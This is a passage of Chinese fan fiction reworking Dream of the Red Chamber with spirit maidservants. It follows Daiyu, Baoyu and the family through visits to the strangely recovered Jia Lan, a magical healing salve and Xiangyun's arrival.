“没有，我一叫它就下来了。”她好歹也是妖，对同类有天然的压制，驱使它们很容易。
可惜姑娘不让她报复王夫人，不然她就叫一群鸟儿天天去骚扰她，让她连屋子都出不了。
芙蓉看她还在麻雀身上按来按去，那只雀儿乖巧地任她摆弄，眼珠子都不动了，估计是吓坏了。
“你抓它干什么？一会儿把桌子擦干净，怪脏的。”
青雀：“......没什么。”
她是想抓一只雀儿给姑娘玩来着，姑娘可喜欢她的本体了，但她不能老变回原形，两位姐姐不让。
青雀垂头，和僵硬的麻雀大眼瞪小眼。
外头到处飞的鸟儿好像是不太干净哈。
她有些心虚地搓了搓手，掐着麻雀的翅膀又出去放了。
重获自由的麻雀唧唧叫着，翅膀都扇出了残影，眨眼间就消失在天际。
青雀遗憾地看着它飞远，摸了摸脸，又想起芙蓉刚才的话，手一僵，小跑着去打水洗手洗脸。
收拾好，她端了个水盆回来准备擦桌子，一个粗使婆子跟在她身边，殷勤地伸手，唠唠叨叨说：“姑娘何必自己动手，这么沉，我来帮姑娘端着，是要去林姑娘房里吗？这点粗活叫下头的人去干就是了。”
青雀侧身，避开她的手，不让她碰，“我自己来。”
不识好歹，使唤人都不会，活该是当丫鬟的命。婆子心中腹诽，面上笑容不变，继续叨叨，非要把她说动不可。
她比麻雀还能喳喳，青雀加快脚步。
“姑娘慢些，当心脚下！”
两个前赶后追，不多时就到了正房门口。青雀放慢脚步，疑惑地望着被何嬷嬷拦在正房外面的人。
靠近一看，原来是那天嚷嚷着砸玉的傻子。
他来干什么？
“林妹妹醒了吗？”
宝玉垫着脚探头往屋里看，奈何何嬷嬷跟堵墙似的，一点不让她靠近。
“醒了，林姑娘醒了，方才还用了早饭呢！”何嬷嬷还没说话，缠了青雀一路的婆子满面笑容地迎上去道：“宝二爷是来看林姑娘？她在屋里。”
何嬷嬷眼中寒光闪过，拉下脸来呵斥道，“你是哪儿来的婆子？这里轮得到你说话吗？”
19.第 19 章
婆子谄媚的笑容凝固在脸上，宝玉也惊了一跳。
府里上上下下，见到他多半都是笑脸相迎，鲜有这样疾言厉色的时候。虽然不是对着他，但宝玉总觉得林妹妹的嬷嬷对自己有些不满。
被呵斥一通的婆子回过神，心中也有气，她不觉得自己有错，眼睛一撇，道：“我是回宝二爷的话，怎么就说不得了？”
青雀趁他们说话的功夫绕到何嬷嬷背后，钻进了房里。
“哎！”宝玉伸手要叫人，何嬷嬷冷笑一声截住了他的话，反问那婆子道：“宝二爷是问你吗？我是没有嘴巴还是没有舌头，只能做个哑巴，要你抢着回话？你是在姑娘屋里伺候吗？姑娘说什么、做什么，你都知道得一清二楚？要你巴巴地上报给宝二爷？”
那婆子呐呐答不上来，却依旧不服：“我是不在姑娘屋里伺候，但一早厨房里备了菜，有人提着食盒往姑娘房里来，定是给林姑娘用的。我又不曾说错。”
宝玉还没傻到底，何嬷嬷这么一问，他确定刚刚的感觉不是错觉。可他不记得自己有冒犯过林妹妹身边的老嬷嬷。
虽不是他的错，但宝玉还是放软了声音告饶，“是我的不是，白问这一句，倒叫嬷嬷生气。”
何嬷嬷转过眼看他，语气稍稍缓和，“二爷恕罪，并非是为着您，也不是不让您进去，只是姑娘用了饭又睡下了。姑娘昨儿没睡好，精神不济，您今儿是白来这一趟了。”
她也不知道宝玉大早上怎么偏来这里晃荡，这个时辰，不是早该去学里了吗？
两人说话时那婆子没走，嘀咕道：“这谁能知道啊。”她也没见过哪个主子吃了又睡的。
她不算小声，何嬷嬷耳朵又灵，听了个明明白白。
她是知道贾家的奴才不大像样，嘴里不把门，叨咕主子是很有一套的，今天算是见识到了。
何嬷嬷挑眉，懒得与婆子多说，直接问：“你是在院子里做什么活的？我怎么没见过你？”
青雀去而复返，她就把麻雀挨过的地方擦了擦，动作很快，现在出来倒用过的脏水，闻言道：“她是在小厨房给白妈妈帮忙烧火的。”
她去打水，这人自己就凑了上来，问她做什么，她不过回了一句，这人就一路跟到这里，自说自话，烦得很。
何嬷嬷：难怪她对这人没什么印象，原来是才来的。
自个儿的活不好好干，反而两只眼睛光盯着主子房里，这样的人她们是用不起，撵出去才好。
只是撵得了这一个，撵不了全部。听松园统共有十来个粗使丫鬟和婆子，也不知是不是人人都有一条长舌头。
还是她们人带少了，光想着带足够的钱财，没料到这一茬，再塞人也不好塞了。一是人手不容易找，二是这里到底是贾家，老太太虽然疼姑娘，但几次三番踩她的脸面也不好看。
想着该如何操作，换掉院子里的人，何嬷嬷抬眼，青雀都走了，那婆子却还直挺挺站着。
何嬷嬷无语：“院子里没有要你干的事。你还不回去？”
婆子看了宝玉一眼，宝玉低着头不知道在想什么，没搭理他，她悻悻离开。
“宝二爷，您也请回吧。”
宝玉惊醒，急忙从袖中掏出一个玻璃小瓶塞给何嬷嬷：“听闻林妹妹身体不好，需得食补，这是木樨清露，是疏肝醒脾的好物，正可以给妹妹用上。”
黛玉的食补不是用一般的东西补，清露她用不上。再者这东西对她们来说不难得，用不着找宝玉要，何嬷嬷推辞，“二爷自己拿回去用吧。”
宝玉不肯，定要何嬷嬷收下。
黛玉觉浅，他们三四个人一直在外面说话，半道就把她吵醒了，此时扬声唤道：“嬷嬷，让人进来吧。”
何嬷嬷松开手，回身：“可是我们把姑娘吵醒了？”
宝玉忙不迭跟进去，黛玉从镜中见到他，笑道：“原来是你来了？我还道是谁在外面一直咕叽。”
她往后望了望，疑惑道：“怎么也没带个人在身边？”
宝玉一见黛玉，心里就欢喜，又听她言笑晏晏跟自己说话，哪还听得清说什么，忍不住想过去挨着她坐下，没走两步，何嬷嬷又横插进来，“宝二爷这边坐。”
又给他上了热茶，宝玉只好随被她引着坐到一旁，回道：“我没叫她们，七手八脚缠得慌，总归在自己家，走不丢的。”
说罢又关心道：“妹妹还困吗？脾胃可好，饭后应当消消食再睡，当心积了食，心口不舒服。”身边的人也该劝劝才是。
芙蓉转头替黛玉挑簪子，宝玉看见她的正脸便是一呆，心道：林妹妹钟灵毓秀，比别个不同，身边的丫鬟也非俗物，自有一段风流，比晴雯麝月还胜三分。
他看着芙蓉呆呆出神，后头责备的话也说不出来了。
芙蓉自然没有错过他的眼神，不着痕迹皱了皱眉。
黛玉背对着他们，没有看到宝玉的样子，簪好头发后转身道：“你难道不知道吗？”
宝玉忙问：“什么？”
黛玉歪头：“正是吃了饭再睡觉才好呢！”
宝玉：“这是怎么说的？医者有云，饭后应出门庭行，少则五六十步，多则一二百
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步。可见饭后缓行，才是保养之法。”
黛玉哼笑一声，驳他：“吕祖也说‘归来饭饱黄昏后，不脱蓑衣卧月明’。陆放翁更有‘粥后就枕，则粥在腹中，暖而宜睡，天下第一乐也’之语。”*
“吕祖逍遥成仙而去，陆放翁活了八十有五。他们两个岂不证明饭饱而卧才是好的。”
宝玉语塞，一时觉得她说的有理，一时又觉得不对，但又想不出反驳的话，急得挠头。
门外有人抚掌大乐。
宝玉和黛玉皆侧头往外看，见迎春、探春相携进来，迎春一副忍笑的表情，探春就不客气多了，乐了一阵，道：“整日里听你胡诌一些托古之言，叫人欲辩不能，今天可算是有个人能驳倒你了。你服不服气？”
宝玉起身对黛玉拱手作揖，“妹妹博闻强识，我不如。”
探春捂着肚子，前仰后合，连连说好。
迎春抿着唇笑，又悄声对黛玉道：“前人虽如此说，但终究是个例，不能当做常理，宝玉说的也不错，妹妹还是应该多保重才是。”
宝玉凑过来附和：“二姐姐说得对。难得见二姐姐关心人，妹妹该听她的。”
迎春本来是跟黛玉说悄悄话，宝玉一打岔，她笑容微敛，便有些别扭起来。
寻常她是不关心这些的，奈何邢夫人三番四次念叨催促，还总使人问她有没有跟黛玉亲近，不得已她才跟着探春来找黛玉。
黛玉觉出她的不自在，睨了宝玉一眼，推开他，认真跟迎春道谢，“多谢姐姐关心，我记下了。”
迎春脸上微红，腼腆地点了点头。
宝玉视线左右游移，怎么同样的话，林妹妹只谢二姐姐？
他张了张嘴，探春连忙打断他，道：“我跟二姐姐想去大嫂子那儿看看兰哥儿，听说他人已经醒了。你们要一起吗？”
她是来邀黛玉的，宝玉既然也在这儿，也就顺便叫他一起。
两人自然答应。
李纨院里，见到贾兰的黛玉不由惊讶。
李纨精神好了许多，脸上也有了笑容，听说他们来意，领着他们来了贾兰房里。
彼时贾兰正靠在椅子上读书。
他还是很瘦，但精气神却很好，看不出病了一段时间。
“兰哥儿这是大好了？”探春同样有些惊疑。
她也见过病中的贾兰，知道他先前病得多重，这才一天，他竟然一点不见虚弱？还能读书！
比宝玉都强！
贾兰听到动静，放下书朝几人看过来。
素月一颤，迅速低下头。
20.第 20 章
无人发现素云的异常。
李纨拭了拭眼泪，道：“难为你们惦记着他，还特地来看他。昨儿半夜兰儿就醒了，嚷着饿，一大屋子人都被他折腾起来给他倒弄吃食。好容易吃了东西又喝了王太医开的药睡下，今日醒来就大好了。”
“果真是太医院的杏林圣手，比外面坐堂的大夫厉害许多，药到病除。”
贾兰从椅子上下来，绕到跟前，似模似样拱手道：“见过二姑姑、三姑姑、林姑姑、宝叔叔。”
迎春等人连忙侧身避开，拦着他道：“兰儿太见外了。”
黛玉定定看了他一眼，见他眼神清明沉静，不见癫狂之相，很是纳闷。王太医果真这么厉害？
众人说着话，李纨招呼黛玉等人坐下，又叫下人们去摆瓜果热茶进来。
“大嫂子快别忙了，本就是来看望病人的，倒叫你还要顾着我们，忙忙叨叨不安生。我们坐坐就走。”
李纨笑着道：“我就是动动嘴皮子，哪里就忙了。兰儿好了，我也放下一桩心事，人也跟着好了。”
又说前几日大伙儿来看贾兰，她忧心贾兰病情，无心招待。
众人皆道无妨。
探春在心里斟酌了半晌，还是劝了李纨一句：“兰儿久病，虽看着好了，到底亏了身体，病去如抽丝，也该多歇一歇，养养神，等病好了再读书不迟。”
她以为是李纨望子成龙，一刻都不能等，贾兰人才清醒就让他用功。
李纨道：“你说的我也知道。我也说叫他不必用功，左右还没上学，如今只跟着我些微认几个字罢了，等上了学再认真读书不迟。可他自个儿要读，只说看一看，不怎么费神，病中睡得够多了，骨头都疼，也躺不住。”
“我想着也是，他也看不大懂，只能挑着认识的字看，钻研不进去，这就不伤神了，便由他去了。”
李纨说着，轻轻摸了摸贾兰的头，想到了自己早逝的丈夫。兰儿像他父亲，一样是肯在念书上用心的，可惜他父亲钻研太过，耗尽心血，年纪轻轻就没了，留下他们母子俩。
李纨不由悲从中来，抱着贾兰低头抹泪。
贾兰不防被她揽住，微微偏头，轻轻挣扎，听到李纨的悲泣，他不知想到了什么，又硬生生忍住了，任由李纨动作，只是身体十分僵硬，眼神四处漂移，不经意间，就对上了一双含着冷意的眸子。
那双眼睛注视着他，深深看了他一眼，贾兰觉得自己像是被摊开在太阳下，浑身上下都被晒透了一般，不留半点秘密。
他眼神一凝，再看过去时，那双眼已经移开了目光。
贾兰顺着她的目光看过去，就看到了黛玉和宝玉。
探春和李纨说话时，黛玉一边留神听着，一边去看贾兰的书桌，她还是有些在意笔的事。
昨天被青雀碰倒的笔架被移开了，另摆了个粉彩闲云野鹤瓷笔筒，筒里倒插着五六只笔。黛玉默默比划了一下，发现新换的笔是适合贾兰这个年纪的人用的。
笔筒旁边是是青瓷书灯，插着燃了小半的蜡烛，像是晚上有人点灯夜读过。桌上右手边一只寿桃样式的笔掭上搁着一支笔尖吸饱了墨的兔毫笔。
兰哥儿不仅看了书，还写了字，黛玉心想。
宝玉挨在她身边，从左边换到右边，蝎蝎螫螫地，见她盯着贾兰的书桌出神，悄声问：“妹妹看什么？”
书桌上放的东西基本上一目了然，都是平常东西，只有笔筒还有些意趣。宝玉道：“我那里有个硬木百宝嵌灵芝的笔筒，妹妹喜欢的话，改明儿我给你送去。”
黛玉白了他一眼，背过身，“谁说要你的笔筒了。”
宝玉苦恼，“那妹妹喜欢什么？”只要他有的，都可以送来。
黛玉不理他，上前跟迎春、探春一同安慰李纨，宝玉瞬间被挤到外围，插不进话。
好不容易李纨止住了哭声，贾兰松了一口气，大大退了一步，从李纨怀里脱身，离她远些，整了整衣衫，见宝玉团团转，好像很忙，也不知道在忙什么。
他眼中无奈一闪而过，道：“宝二叔今天不用上学吗？”
宝玉乐呵呵道：“太爷犯了咳疾，学里放了两日假，叫我们只在家里温书。”
“温什么书？学里功课上到哪里了？只有太爷一个人授课吗？其他夫子呢？”
宝玉不喜读书，听着贾兰一个接一个的问题，恍惚以为面前的人不是小侄儿，反而像迂腐长辈，他哆嗦了一下，怏怏答道：“在读《孟子》。”
别的就不肯多说了。
贾兰又追问，“学里的学生都跟宝叔叔一样大吗？”
宝玉摇头。
贾兰：“那所有人都学一样的内容？”
宝玉点头。
贾兰面色微变。既然学生有大有小，如何能安排一样的课程，年纪小的跟不上进度，年纪大的又学得太慢，白白消磨时间，夫子病了还要放假。
三天打鱼两天晒网，何年何月才能下场。
“宝叔叔......”
宝玉受不住他的追问，直往黛玉身后躲。
黛玉：“......”
她往旁边让了让，见他臊眉耷眼，终究不忍，替他解围：“兰儿问这么多，可是也想上学了？”
贾兰笑道：“还是林姑姑懂我，我在家无聊得紧，整日也是憨完，不如去学里，既能读书，也能有几个伴。”
探春便笑：“兰儿这一病，好似长大了许多，说话也老气横秋的。难道憨完还不好？竟还有人不想玩想读书的。”
她把宝玉从黛玉身后拉出来往贾兰跟前推了推，道：“读书也苦
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，二哥哥还巴不得多放两日假呢！是不是？”
贾兰听她前半句，心中一紧，再听她调侃宝玉，垂眼遮住眸中深沉。
宝玉道：“读书苦不苦，全看怎么读。那些一心只想着经济仕途，当个国贼蠹禄，那就再苦没有了，若是这样，不读书也罢。”
贾兰脸皮微微抽了抽，控制不住扬起一抹冷笑，一瞬间，黑色的纹路在眼中扭曲爬动，又被她死死压住，隐没在瞳孔中。
“嘶嘶嘶~”
耳边似乎有凌乱的呓语声，黛玉转头四处张望，没找到是谁在说话，她又静下心去细听，周围只有探春等人的声音，并没有人在呓语，让黛玉疑心自己是听错了。
其他人听惯了宝玉的国贼说，都只笑了笑，不以为意。
探春指着宝玉道：“显见兰儿与你不是一路的。”
李纨笑道：“兰儿是还没吃到苦，以为读书只看就够了，等他读深了，怕也要跟宝玉一样，整日盼着放假了。”
贾兰隐藏好情绪抬眼，憨憨笑了两声。
一时贾母听说贾兰大好了，派人来送药材补品，叮嘱贾兰好好修养，又有王熙凤、王夫人也遣了人来问候，李纨少不得要一一应对，霎时忙碌起来。
黛玉等人顺势提出告辞。
出了院门，众人又在门口分开，迎春和探春自回了住处，黛玉也要回去，宝玉尾巴似地缀在她身后。
黛玉无奈停下，道：“你还不回？出来这么久，也没见你院里的人找你。”
话音未落，一个穿着水红褙子的丫鬟赶上来伸手拉过宝玉，气喘吁吁道：“二爷原来在这里，叫我满园子好找。”
宝玉抽手，“我又没丢。你找我干什么？”
袭人道：“舅老爷派人来了，太太叫你去见见。”
“妹妹先回去，我改日再来看你。”
“好了，你快去吧，别叫人等急了。”
宝玉这才跟着袭人要走。
“哎，你等等。”黛玉叫住他。
宝玉又转回来：“妹妹还有事？”
黛玉道：“你转过去。”
宝玉依言转身，黛玉拿帕子在他背后掸了掸，宝玉拧头往后看，“怎么了？”
“没事，好像是在哪里蹭了东西。”
袭人忙探头来看。
黛玉收回手，攥好帕子，道：“擦不掉。”
袭人看到衣服上的墨点，沁在大红撒花缎子上，黑乎乎一点，很是显眼，道：“是沾了墨汁，二爷先回去换身衣服吧。”
二人匆匆离开。
等人走远了，黛玉摊开手，帕子上也沾了一块黑点。
“芙蓉姐姐，你看到了吗？”
芙蓉垂首。
黛玉困惑道：“那团黑点先前好像在动。它是活的？”
21.第 21 章
“也并非活的。”芙蓉接过黛玉手上的帕子，轻轻一抖，那团晕染在帕子上的黑色重新凝成一滴墨汁，顺着帕子滑落。芙蓉抬脚踩上去，荡起一圈黑色的烟雾。
黛玉又听到了一阵嘶嘶呓语。
“芙蓉姐姐！”她惊讶道：“刚才在大嫂子那儿也是这个声音！”她没听错。
但她还是没有听清呓语的内容，里面好像有男女老少，许多个声音交杂念诵，凌乱无序。
“你听清了吗？”黛玉问。
“听到了，但句不成句，不知道是在念什么。”芙蓉将帕子收起来，上面沾了不干净的东西，不能再用了。
“哦。”黛玉点头，随即担忧道：“宝玉是在大嫂子房里沾上这东西的？他不会有事吧？”
“他身上的通灵宝玉能保护他，姑娘不必担心。”芙蓉看到了全过程，“那是兰哥儿弄到宝玉身上的......”
“墨汁”是从贾兰身上掉下来的，又爬到了宝玉身上，在宝玉说国贼蠹禄的时候。
那时贾兰的情绪很激动。
在芙蓉眼里，贾兰情绪不稳时，身上就会冒出一阵阵黑烟，在他皮肤中游走。第一次是李纨抱着他哭时，只有少许黑烟，第二次他人都被黑烟裹住了，面容都是黑漆漆一片，不见五官。
芙蓉不知道黑烟是什么，她没见过这东西。
黑烟非精非怪，她没在贾兰身上感受到半分邪气。贾兰似乎也能压抑控制黑烟，它对其他人似乎也没有伤害，李纨抱着贾兰的时候，黑烟没有沾上她半分。
一屋子的人只有宝玉沾上了。
黑烟是要往宝玉皮肉里钻的，但有通灵宝玉在，黑烟钻不进去，从胸前绕到后面，又爬到了宝玉背上，他一转身，就叫黛玉看见了。帕子沾上去的时候，黑烟已经在通灵宝玉的压制下变成了一团墨汁。
离了宝玉身上，它又“活”过来了。
黛玉听完，道：“难不成是墨汁成精了？”
芙蓉：“......姑娘，砚台成精比墨汁成精的机会更大一些。”
她说得一本正经，黛玉莫名其妙打了个冷颤。
芙蓉道：“起风了，咱们先回去吧。”
黛玉回头朝李纨院子看了一眼，喃喃道：“那兰哥儿他，还是兰哥儿吗？”
先是病重，其后发疯，一夕之间病又好了，兰哥儿该不是被脏东西替换了吧。
黛玉想起了她夭折的弟弟。弟弟没了的时候，母亲悲痛欲绝，自那以后，本来就孱弱的身体更不好了。
没一年就......
要是兰哥儿没了，大嫂子怕也活不下去了。
因为惦记着这事，黛玉回去后时常走神，何嬷嬷跟她说要撵一个小厨房的婆子出去她都没怎么听进去，直接同意了。
何嬷嬷还担心她顾忌着贾家，宁可自己委屈一些，也不同意她撵人，谁知她直接点了头，不由松了口气，同时也很奇怪。
黛玉便把贾兰的事说了一遍，何嬷嬷对此也没辙。
他们一不知道贾兰到底是个什么情况，二也不能直接跟李纨说她的孩子好像中邪了，赶快找个人给他驱驱邪，三更不能自己动手，谁知道到时候是他们先给贾兰驱邪成功，还是贾府的运势反击，先把他们驱逐出贾府。
最后白鹤道：“就算姑娘有心要帮珠大奶奶，也要先观察观察，弄明白情况再说。”
黛玉道：“我知道。”
她不会叫白鹤姐姐等人贸然出手，比起大嫂子和兰哥儿，当然是白鹤姐姐等人更亲近更重要。她不会为了想帮其他人让她们陷入危险。
自此之后，黛玉也对李纨和贾兰多留心了几分。但她跟两人的接触也不多。
李纨尚好，贾兰病好之后，她又每日前去贾母跟前请安，黛玉基本能日日见到。
看着她也不像是受了伤害的样子。
贾兰黛玉就没见过几面了。因他刚好一点，就自己求了贾母，要跟着宝玉一起去上学。
贾母刚开始还不准，“你这脸都凹进去了，身上肉还没长起来，哪里能上学？倘若再病了，不是要剜你娘的心吗？”
贾兰歪缠一通，说自己也长大了，该出门见识见识，又说家学就在东府，也不远，再保证自己绝不勉强，要是刮风下雨都不出门，只在家待着。
贾母被他磨缠得无法，也怜惜他懂事：“你知道读书也是很好的事，那便去吧。只一样，不许伤了自个儿的身子。”
贾兰哪有不应的。
贾母又叫王熙凤给他安排车，让多配几个小厮跟着，务必保护好他。
贾兰道：“我跟着宝叔叔一起就好。”
贾母想了想，道：“也好，两个人一起，也有个伴儿。放了学都不许贪玩，快些回来。”
宝玉和贾兰一齐应是。
之后黛玉也不曾听闻府里传出不好的事，渐渐也把这事放下了。
倒是听说自从有了侄儿跟着，宝玉像是转了性子，对读书上心了许多，不再跟以前一样，就算学里不放假，他也三天两头病一回，请了假不肯去上学。
对于宝玉突如起来的用功，贾母和王夫人都很欢喜，又怕他累着，反而叫人劝他少学一点，更时时送些补汤给他进补。
谁知宝玉读书没累着，却叫两人的补品补过了头，嘴上生了几个烂疮，流了鼻血，把身边的人都吓了一跳，立时禀明贾母，老太太硬压着让他在家休息两天。
休息的第二日宝玉就又来了黛玉这里。
黛玉看见他嘴角的烂疮，惊道：“
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怎么上火这么厉害？青雀，快去把赤霞膏拿来。”
青雀：“哎！”
宝玉笑着从怀里拿出一个笔筒递给她，含含糊糊道：“前些意（日）子嗦（说）要给妹妹的。”
他一边说一边嘶嘶吸气，口里疼得厉害。
“你快别说话了！”黛玉制止他。
宝玉抿着嘴唔唔指着笔筒，黛玉无奈接过。
笔筒上硬木纹路苍拙遒劲，灵芝小巧可爱，黛玉拿在手里把玩了两下，还给宝玉，指着口沿上的红色膏子笑问：“这难道也是木头的颜色？”
宝玉瞧了瞧，想不起来。
袭人仔细回忆了片刻，道：“应是昨儿晚上染上的。二爷昨儿又想起来要制胭脂膏子，弄了一半又不安生，急急忙忙又要找笔练字，有个胭脂盒子打翻了磕在上面，怕是那时候沾的。丫头们收拾的时候大约没注意，漏掉了。”
宝玉唔了一声，道：“丝（是）有个（这）回事，唔（我）叫人死（洗）了再送来。”
黛玉摇摇头，下了地从柜子子里拿出一个百宝盒。
青雀拿着赤霞膏，见状忙抢过百宝盒放在几上。
黛玉从里面捡出好几个笔筒，对宝玉道：“你瞧。”
宝玉挨个瞧过去，这些笔筒有的十分精致，如紫檀百宝嵌出水芙蓉笔筒，碧玉群仙宴饮笔筒。也有的十分可爱，比如一个笋尖倚半竹笔筒。
还有的十分古怪，比如一个硬木百宝嵌狩猎图的笔筒。筒身上是黄犬在侧，于马上挽弓猎雁的侍卫。侍卫的皮肤苍白，脸部崎岖，耳朵极大，眼睛极黑，不似活人。
宝玉觉得它有点丑，多看两眼，又决出一些古怪的可爱，很是奇特。
“妹妹的笔筒都有趣。”宝玉说道，回身把自己带的笔筒塞给袭人。送不出去的东西拿着也没意思。
袭人手忙脚乱接过。
见他怏怏不乐，黛玉只当没看见，把赤霞膏往他跟前推了推，道：“这膏子是专治伤口的，你拿去，在口疮上抹一抹，明日就好了。”
宝玉闻言又高兴起来，“多谢妹妹。”也不见外，当下就揭开盖子，见里面的药膏色泽绯红，艳如霞光，还有一股香味，当下大喜，“这药膏却像是胭脂，妹妹这里的东西都风雅有趣。”
立刻就要涂上。
袭人问：“这药膏能吃得？”
黛玉道：“可以，无碍的。”
袭人便替宝玉嘴边抹了一圈，宝玉咂了咂嘴，隐约觉出一股子甜味。
又跟黛玉一起赏玩了一会儿笔筒，宝玉有些焦躁起来，屁股一直在椅子上磨蹭，似是想走，又很是挣扎。
黛玉不由奇怪。忽听有人来传话，说是有客人来了，老太太叫他们过去，宝玉如蒙大赦，顿时放松下来。
22.第 22 章
贾母院中很是热闹，大老远就能听到嘻嘻哈哈的清脆笑声。
“是云妹妹来了！”宝玉喜之不尽，拉着黛玉的手就往房中去。他最爱同姐姐妹妹们一起玩耍，恨不得所有亲戚家的女孩子一直都在家里同他一处才好。
黛玉还没有来时，湘云又被家里叔叔婶婶接回去，他还伤心了好一阵。这下可好，一下子多了两位妹妹。
还有前些日子舅老爷家的人同太太说有一位姨妈也要来京城了，姨妈家有个姐姐，到时候就更热闹了！
“爱哥哥！”
湘云与贾母说着话，见到宝玉，兴冲冲迎上来，未到跟前，又顿住脚步，睁大眼睛仔仔细细盯着他瞧。
宝玉低头检查了一圈：“我身上有不妥？”
湘云捂着嘴摇头。
黛玉抽出手，走到贾母身边。贾母指着湘云道：“那是云丫头，比你小一些。”
“哈哈哈！”
话音刚落，那边湘云捂着肚子大笑起来，黛玉偏头看过去，就听湘云道：“爱哥哥，你又吃了哪儿的胭脂，嘴上还没抹干净呢！”
王夫人目光落在宝玉嘴角，看到晕开的嫣红，眼中怒气一闪而过。宝玉好不容易用功几日，不过刚在家歇一歇，不知又叫哪个不安分的给勾搭坏了。
府里都知道宝玉有爱吃人嘴上胭脂的毛病，寻常时候王夫人不至于如此生气，只当他毛病又犯了。只是最近宝玉太乖巧了些，走上了正道，王夫人就格外不能容忍有人把他再带坏。
宝玉忙摇手，解释道：“这不是胭脂，是林妹妹给的药，治口疮的。”
贾母看向黛玉，黛玉点头道：“那是治伤的。”
湘云不信，“药有黑的绿的，我还没见过这样红的。”
“是真的。”袭人将包好的膏子又拿出来给湘云看：“姑娘看，才给二爷抹上的。”
宝玉道：“这药极好的，我都疼了两天了，饭都吃不下，才抹一会儿，嘴里已经不怎么疼了。”
贾母招手：“过来让我瞧瞧。”
宝玉过去伏在贾母膝上，仰头让贾母看他嘴上的疮。
贾母眯着眼睛看了半晌，道：“真不疼了？”
宝玉：“是。”
王熙凤“呀”了一声，凑上来道：“我刚才就觉得宝兄弟有哪儿不对，一时又想不到，现在才明白过来，原来是他说话正常了。”
“前两日一听他开口我就脑袋疼，凭他一句话，生生要猜上半日才知道说的是什么，比猜谜还难。听惯了宝兄弟‘丝丝次次’的，今儿总算能把舌头卷起来了。”
湘云连忙问：“爱哥哥是怎么说的？”
王熙凤便给她学了两句，她学得极像，连说还带比划，众人仿佛见到宝玉话也说不清楚，急得满头大汗手舞足蹈的样子，都背过身去闷笑。
黛玉笑倒在贾母怀里。
湘云大乐，乐完又急得跺脚，抱着贾母道：“老太太怎么不早两日接我过来，偏叫我错过了！我要是听到了，日后也这么学，看大家还怎么取笑我！”
湘云念不出“二”，总是“爱哥哥”、“爱哥哥”地叫宝玉，没少被打趣。
贾母抱着她揉搓，乐道：“亏得你不在，要是叫你学去了，再过几日，廊下的鹦鹉都让你聒噪得卷不起舌头了。”
笑完，贾母叫袭人把药膏拿上来她看。
宝玉长疮，疼急了饭也不吃，水也不喝，顿顿饿着，让贾母心疼得不行。
大夫自然也是找过的，药也开了，熬的药宝玉嫌苦，沾了伤口还疼，不愿意喝。也有抹的，抹了一次，没那么快见效，宝玉又嫌味冲，满嘴药味熏人，也不肯再抹。
现下黛玉给的药一抹就好，说明药有奇效。
袭人递上装药膏的圆肚罐子，贾母看了两眼，湘云也爬起来探头去看。
颜色是好看，也稀奇，贾母心想，她让袭人好好收起来，晚上再给宝玉用一次。
又对宝玉道：“还不快谢谢你妹妹，这可是来得及时，救了你一命。”
黛玉道：“方才已经谢过了。”
宝玉笑嘻嘻围着黛玉团团作揖，黛玉避让，两人打闹。
王夫人忽问：“这药是用什么制的？”
贾母皱起眉头，问药不问方，好药都是传家之秘，王夫人问的太过了。
贾母道：“既已有了，何必再制。这药好，想必制起来也是难的。”
意思是叫她不要再问了。
王夫人不知是没听懂还是装不懂，仍道：“我是想着它好用，若是不难，也让府里药房备一些，宝玉、兰儿常要出府，难免磕磕碰碰的，备一些也安心。”
李纨心不在焉的，众人笑的时候她只跟着干笑了两声，听到贾兰的名字也只是抬了下头，心事重重的模样。
黛玉回头看芙蓉，芙蓉笑了笑，道：“药膏不难制，只是配方子的药难寻。需天星草，桑玉子，晴果.
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.....最后并赤颜花一起炼制。”
其实比起治伤的作用，赤霞膏更大的作用是驻颜，方子里头的赤颜花就是这个功效。
不过驻颜本身就是修复肌肤，等于变相治疗伤口。它这附带的功效好用，白鹤就在里头另掺了东西，稀释了一下，常备着给黛玉当伤药用了。一份炼制好的赤霞膏能稀释出许多份，属于人为加入杂质，降低药效，实在暴殄天物。
这就不足为外人道了。
众人听她一口气说了好些个名字，别说见了，听都不曾听过。
湘云好奇：“这些都是南边的草药吗？我都没听过。”
贾母笑道：“你才多大，见过多少东西？”
“老太太知道？”
贾母：“我也不曾听闻，从前没见过，想来是很稀罕的。”
芙蓉道：“这些花草都是海外来的，这儿是没有的。”
王夫人坐着沉默不语。
贾母说难怪，瞥了王夫人一眼，道：“听来这药膏是罕物，如此珍贵，林丫头匀给宝玉了，自己可还有？”
黛玉道：“我那里还有。这药膏很耐用，小伤涂一两次就好了，一小罐子能用很久。”
“那便好。”贾母叮嘱袭人，“东西你收好些，别叫丫鬟们当胭脂抹了或是砸了。”
袭人也知道这个道理，应了一声，心里打定主意药膏自己好好收着，以备不时之需。
但宝玉房里人多眼杂，口舌也多，一点秘密都藏不住，丫鬟们拿东西也随意。等之后宝玉再受了伤，要用药膏时，好端端藏起来的药膏早不知道被谁偷拿了去，这是后话。
只说今日因湘云来，贾母留了饭，又想着黛玉不爱北边的口味，特地吩咐厨房给黛玉做些她爱吃的上来。
宝玉嘴里不疼了，两日没好好吃饭，大家在一起又热闹，他跟着多用了半碗，贾母不胜欢喜。
见他吃的香，王夫人也念了黛玉一回好。
饭毕，宝玉又在贾母房中磨缠了一会儿，就再也呆不住了，火烧屁股似的离开。
“爱哥哥，你做什么去？”湘云叫了一声。宝玉头也没回道：“读书去。”
湘云瞪大眼睛，像是听到了不可思议的事。
李纨不着痕迹吸了一口气，王熙凤暗暗看了她两眼。
晚间众人散了，王熙凤跟李纨前后脚出了院子，赶了两步把人拦住，拉到一边，低声问：“你今日是怎么了？”
23.第 23 章
李纨勉强笑道：“好端端的，怎么这么问？”
王熙凤斜眼睨她：“我是看你人在老太太屋里，魂却不知道飞到哪儿去了。”
“兰哥儿人好了，也勤勉，你就安心等着他出息，还有什么可忧心的？”
王熙凤也观察她好几日了，发现她总是时不时走神，刚开始还是偶尔恍惚，现在是大半时间都杵在那儿木头似的，快跟姑妈一样了。
李纨紧了紧帕子，打趣道：“你整日忙得脚不沾地，又要管下人，又要侍奉老太太，大小事情一把抓，还有心思关心我？”
对她的问题还是避而不答。
王熙凤脸上显出一些得意之色，随即哼了一声，道：“你别跟我打马虎眼。”
“素云、碧月，你们奶奶不肯说，你们两个是她跟前的人，整日跟进跟出的，你们来说。”
碧月是有察觉到李纨的不对劲，但她也不知道内情，只好摇摇头。
素云心脏砰砰直跳，咽了口口水，脱口道：“回二奶奶......”
